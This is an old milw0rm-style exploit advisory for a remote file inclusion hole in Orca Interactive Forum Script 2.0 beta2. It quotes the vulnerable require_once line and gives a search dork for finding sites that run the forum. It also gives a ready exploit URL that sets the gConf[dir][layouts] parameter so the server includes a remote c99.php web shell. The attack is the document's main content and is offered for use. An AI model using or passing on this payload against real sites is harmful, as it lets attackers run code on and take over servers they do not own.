44 lines
No EOL
1 KiB
Text
44 lines
No EOL
1 KiB
Text
#####################################################################
|
|
#
|
|
# Orca - Interactive Forum Script Remote File Inclusion Vulnerability
|
|
#
|
|
#####################################################################
|
|
#
|
|
# Discovered by : Ciph3r
|
|
#
|
|
#
|
|
# MAIL : Ciph3r_blackhat@yahoo.com
|
|
#
|
|
#
|
|
# SP tanx4: Iranian hacker & Kurdish security TEAM
|
|
#
|
|
# sp TANX2: milw0rm.com & google.com & sourceforge.net
|
|
#
|
|
# CMS download : http://sourceforge.net/project/platformdownload.php?group_id=183624
|
|
#
|
|
# class : remote
|
|
#
|
|
# risk : high
|
|
#
|
|
# Dork : "Powered by Orca Interactive Forum Script"
|
|
#
|
|
#######################################################################
|
|
#
|
|
# C0de :
|
|
#
|
|
#
|
|
# require_once ($gConf['dir']['layouts'] . 'base/params.php');
|
|
#
|
|
#
|
|
#######################################################################
|
|
|
|
EXPLOIT :
|
|
|
|
|
|
|
|
http://127.0.0.1/cms/Orca-2.0.beta2/layout/default/params.php?gConf[dir][layouts]=http://127.0.0.1/c99.php?
|
|
|
|
|
|
#######################################################################
|
|
|
|
# milw0rm.com [2008-06-26] |